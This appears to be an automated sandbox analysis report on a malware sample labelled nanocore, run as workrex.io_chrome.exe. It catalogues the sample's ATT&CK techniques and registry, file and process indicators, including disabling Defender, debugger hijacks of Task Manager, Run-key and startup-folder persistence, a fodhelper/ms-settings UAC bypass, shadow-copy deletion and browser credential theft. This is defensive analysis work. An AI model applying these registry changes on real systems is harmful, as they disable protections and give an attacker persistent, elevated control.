nanocore | 90fb49a37a0b079c8054445e04806c4548345103d2d5a2b031264840c0156afc

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	workrex.io_chrome.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2536	powershell.exe

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	workrex.io_chrome.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	workrex.io_chrome.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	workrex.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\workrex.io_chrome.exe"	workrex.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	workrex.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\workrex.io_chrome.exe"	workrex.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	workrex.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\workrex.io_chrome.exe"	workrex.io_chrome.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

persistence privilege_escalation

Disable or Modify System Firewall

T1562.004

pid	Process
1396	netsh.exe

Creates a file in the Startup directory 1 TTPs 64 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_71.pdf	workrex.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_178.pdf	workrex.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_189.pdf	workrex.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_197.pdf	workrex.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_33.pdf	workrex.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_62.pdf	workrex.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_109.pdf	workrex.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_163.pdf	workrex.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_15.pdf	workrex.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_31.pdf	workrex.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_34.pdf	workrex.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_36.pdf	workrex.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_47.pdf	workrex.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_57.pdf	workrex.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_90.pdf	workrex.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_95.pdf	workrex.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_8.pdf	workrex.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_46.pdf	workrex.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_64.pdf	workrex.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_105.pdf	workrex.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_116.pdf	workrex.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_156.pdf	workrex.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_159.pdf	workrex.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_171.pdf	workrex.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_3.pdf	workrex.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_49.pdf	workrex.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_53.pdf	workrex.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_132.pdf	workrex.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_151.pdf	workrex.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_182.pdf	workrex.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_196.pdf	workrex.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_25.pdf	workrex.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_75.pdf	workrex.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_81.pdf	workrex.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_87.pdf	workrex.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_112.pdf	workrex.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_115.pdf	workrex.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_173.pdf	workrex.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_179.pdf	workrex.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_51.pdf	workrex.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_103.pdf	workrex.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_131.pdf	workrex.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_144.pdf	workrex.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_155.pdf	workrex.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_166.pdf	workrex.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_189.pdf	workrex.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_192.pdf	workrex.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_66.pdf	workrex.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_105.pdf	workrex.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_137.pdf	workrex.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_19.pdf	workrex.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_110.pdf	workrex.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_157.pdf	workrex.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_158.pdf	workrex.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_160.pdf	workrex.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_180.pdf	workrex.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_183.pdf	workrex.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_193.pdf	workrex.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_16.pdf	workrex.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_28.pdf	workrex.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_45.pdf	workrex.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_61.pdf	workrex.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_114.pdf	workrex.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_146.pdf	workrex.io_chrome.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\workrex.io_chrome.exe"	workrex.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\workrex.io_chrome.exe"	workrex.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\workrex.io_chrome.exe"	workrex.io_chrome.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
592	tasklist.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\svchost.exe	workrex.io_chrome.exe
File created	C:\Windows\system32\sysupdate.exe	workrex.io_chrome.exe
File opened for modification	C:\Windows\system32\sysupdate.exe	workrex.io_chrome.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
304	wscript.exe
5364	wscript.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	workrex.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	workrex.io_chrome.exe

Launches sc.exe 12 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1636	sc.exe
740	sc.exe
2700	sc.exe
4340	sc.exe
1568	sc.exe
1920	sc.exe
6140	sc.exe
1964	sc.exe
1624	sc.exe
3600	sc.exe
1892	sc.exe
4260	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1828	cmd.exe
5032	cmd.exe
4208	cmd.exe
5592	cmd.exe
4724	cmd.exe
1464	cmd.exe
5388	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
3896	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
4292	ipconfig.exe
1000	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
4640	systeminfo.exe

Interacts with shadow copies 3 TTPs 3 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
2312	vssadmin.exe
1888	vssadmin.exe
328	vssadmin.exe

Modifies Control Panel 1 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Control Panel\Desktop\WallpaperStyle = "2"	workrex.io_chrome.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134306491551447335"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe

Modifies registry class 16 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open\command\DelegateExecute	workrex.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet"	workrex.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	workrex.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	workrex.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\workrex.io_chrome.exe"	workrex.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open\command	workrex.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open	workrex.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\workrex.io_chrome.exe\" \"%1\""	workrex.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open	workrex.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings	workrex.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	workrex.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	workrex.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open\command	workrex.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings	workrex.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell	workrex.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell	workrex.io_chrome.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
5072	schtasks.exe
3772	schtasks.exe
2572	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4480	chrome.exe
4480	chrome.exe
2536	powershell.exe
2536	powershell.exe
2536	powershell.exe
704	WMIC.exe
704	WMIC.exe
704	WMIC.exe
704	WMIC.exe
5800	workrex.io_chrome.exe
5800	workrex.io_chrome.exe
5800	workrex.io_chrome.exe
2440	WMIC.exe
2440	WMIC.exe
2440	WMIC.exe
2440	WMIC.exe
5800	workrex.io_chrome.exe
5800	workrex.io_chrome.exe
5800	workrex.io_chrome.exe
5800	workrex.io_chrome.exe
5800	workrex.io_chrome.exe
1244	WMIC.exe
1244	WMIC.exe
1244	WMIC.exe
1244	WMIC.exe
5800	workrex.io_chrome.exe
5800	workrex.io_chrome.exe
5800	workrex.io_chrome.exe
5800	workrex.io_chrome.exe
5800	workrex.io_chrome.exe
5800	workrex.io_chrome.exe
5800	workrex.io_chrome.exe
5800	workrex.io_chrome.exe
5800	workrex.io_chrome.exe
5800	workrex.io_chrome.exe
5800	workrex.io_chrome.exe
5800	workrex.io_chrome.exe
5800	workrex.io_chrome.exe
5800	workrex.io_chrome.exe
5800	workrex.io_chrome.exe
5800	workrex.io_chrome.exe
5800	workrex.io_chrome.exe
5800	workrex.io_chrome.exe
5800	workrex.io_chrome.exe
5800	workrex.io_chrome.exe
5800	workrex.io_chrome.exe
5800	workrex.io_chrome.exe
5800	workrex.io_chrome.exe
5800	workrex.io_chrome.exe
5800	workrex.io_chrome.exe
5800	workrex.io_chrome.exe
5800	workrex.io_chrome.exe
5800	workrex.io_chrome.exe
5800	workrex.io_chrome.exe
5800	workrex.io_chrome.exe
5800	workrex.io_chrome.exe
5800	workrex.io_chrome.exe
5800	workrex.io_chrome.exe
5800	workrex.io_chrome.exe
5800	workrex.io_chrome.exe
5800	workrex.io_chrome.exe
5800	workrex.io_chrome.exe
5800	workrex.io_chrome.exe
5800	workrex.io_chrome.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
5800	workrex.io_chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 13 IoCs

pid	Process
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	4480	chrome.exe
Token: SeCreatePagefilePrivilege	4480	chrome.exe
Token: SeDebugPrivilege	2536	powershell.exe
Token: SeShutdownPrivilege	4480	chrome.exe
Token: SeCreatePagefilePrivilege	4480	chrome.exe
Token: SeShutdownPrivilege	4480	chrome.exe
Token: SeCreatePagefilePrivilege	4480	chrome.exe
Token: SeShutdownPrivilege	4480	chrome.exe
Token: SeCreatePagefilePrivilege	4480	chrome.exe
Token: SeShutdownPrivilege	4480	chrome.exe
Token: SeCreatePagefilePrivilege	4480	chrome.exe
Token: SeIncreaseQuotaPrivilege	704	WMIC.exe
Token: SeSecurityPrivilege	704	WMIC.exe
Token: SeTakeOwnershipPrivilege	704	WMIC.exe
Token: SeLoadDriverPrivilege	704	WMIC.exe
Token: SeSystemProfilePrivilege	704	WMIC.exe
Token: SeSystemtimePrivilege	704	WMIC.exe
Token: SeProfSingleProcessPrivilege	704	WMIC.exe
Token: SeIncBasePriorityPrivilege	704	WMIC.exe
Token: SeCreatePagefilePrivilege	704	WMIC.exe
Token: SeBackupPrivilege	704	WMIC.exe
Token: SeRestorePrivilege	704	WMIC.exe
Token: SeShutdownPrivilege	704	WMIC.exe
Token: SeDebugPrivilege	704	WMIC.exe
Token: SeSystemEnvironmentPrivilege	704	WMIC.exe
Token: SeRemoteShutdownPrivilege	704	WMIC.exe
Token: SeUndockPrivilege	704	WMIC.exe
Token: SeManageVolumePrivilege	704	WMIC.exe
Token: 33	704	WMIC.exe
Token: 34	704	WMIC.exe
Token: 35	704	WMIC.exe
Token: 36	704	WMIC.exe
Token: SeBackupPrivilege	5060	vssvc.exe
Token: SeRestorePrivilege	5060	vssvc.exe
Token: SeAuditPrivilege	5060	vssvc.exe
Token: SeIncreaseQuotaPrivilege	704	WMIC.exe
Token: SeSecurityPrivilege	704	WMIC.exe
Token: SeTakeOwnershipPrivilege	704	WMIC.exe
Token: SeLoadDriverPrivilege	704	WMIC.exe
Token: SeSystemProfilePrivilege	704	WMIC.exe
Token: SeSystemtimePrivilege	704	WMIC.exe
Token: SeProfSingleProcessPrivilege	704	WMIC.exe
Token: SeIncBasePriorityPrivilege	704	WMIC.exe
Token: SeCreatePagefilePrivilege	704	WMIC.exe
Token: SeBackupPrivilege	704	WMIC.exe
Token: SeRestorePrivilege	704	WMIC.exe
Token: SeShutdownPrivilege	704	WMIC.exe
Token: SeDebugPrivilege	704	WMIC.exe
Token: SeSystemEnvironmentPrivilege	704	WMIC.exe
Token: SeRemoteShutdownPrivilege	704	WMIC.exe
Token: SeUndockPrivilege	704	WMIC.exe
Token: SeManageVolumePrivilege	704	WMIC.exe
Token: 33	704	WMIC.exe
Token: 34	704	WMIC.exe
Token: 35	704	WMIC.exe
Token: 36	704	WMIC.exe
Token: SeShutdownPrivilege	4480	chrome.exe
Token: SeCreatePagefilePrivilege	4480	chrome.exe
Token: SeShutdownPrivilege	4480	chrome.exe
Token: SeCreatePagefilePrivilege	4480	chrome.exe
Token: SeIncreaseQuotaPrivilege	2536	powershell.exe
Token: SeSecurityPrivilege	2536	powershell.exe
Token: SeTakeOwnershipPrivilege	2536	powershell.exe
Token: SeLoadDriverPrivilege	2536	powershell.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
5800	workrex.io_chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5800 wrote to memory of 4480	5800	workrex.io_chrome.exe	89
PID 4480 wrote to memory of 5356	4480	chrome.exe	90
PID 5800 wrote to memory of 2536	5800	workrex.io_chrome.exe	91
PID 5800 wrote to memory of 1920	5800	workrex.io_chrome.exe	93
PID 5800 wrote to memory of 6140	5800	workrex.io_chrome.exe	95
PID 4480 wrote to memory of 3896	4480	chrome.exe	97
PID 4480 wrote to memory of 2856	4480	chrome.exe	98
PID 4480 wrote to memory of 2856	4480	chrome.exe	98
PID 4480 wrote to memory of 2520	4480	chrome.exe	99
PID 4480 wrote to memory of 2520	4480	chrome.exe	99
PID 4480 wrote to memory of 424	4480	chrome.exe	101
PID 4480 wrote to memory of 4656	4480	chrome.exe	102
PID 4480 wrote to memory of 424	4480	chrome.exe	101
PID 4480 wrote to memory of 4656	4480	chrome.exe	102
PID 5800 wrote to memory of 4260	5800	workrex.io_chrome.exe	103
PID 5800 wrote to memory of 1636	5800	workrex.io_chrome.exe	105
PID 5800 wrote to memory of 1964	5800	workrex.io_chrome.exe	107
PID 4480 wrote to memory of 1688	4480	chrome.exe	150
PID 4480 wrote to memory of 1688	4480	chrome.exe	150
PID 5800 wrote to memory of 1624	5800	workrex.io_chrome.exe	110
PID 4480 wrote to memory of 4408	4480	chrome.exe	112
PID 4480 wrote to memory of 4408	4480	chrome.exe	112
PID 5800 wrote to memory of 3600	5800	workrex.io_chrome.exe	113
PID 5800 wrote to memory of 1892	5800	workrex.io_chrome.exe	115
PID 5800 wrote to memory of 4668	5800	workrex.io_chrome.exe	117
PID 5800 wrote to memory of 740	5800	workrex.io_chrome.exe	118
PID 5800 wrote to memory of 2700	5800	workrex.io_chrome.exe	120
PID 4668 wrote to memory of 4176	4668	fodhelper.exe	121
PID 5800 wrote to memory of 2312	5800	workrex.io_chrome.exe	123
PID 5800 wrote to memory of 704	5800	workrex.io_chrome.exe	125
PID 5800 wrote to memory of 304	5800	workrex.io_chrome.exe	132
PID 5800 wrote to memory of 5072	5800	workrex.io_chrome.exe	133
PID 5800 wrote to memory of 3772	5800	workrex.io_chrome.exe	135
PID 5800 wrote to memory of 1828	5800	workrex.io_chrome.exe	140
PID 5800 wrote to memory of 5388	5800	workrex.io_chrome.exe	142
PID 5800 wrote to memory of 5032	5800	workrex.io_chrome.exe	143
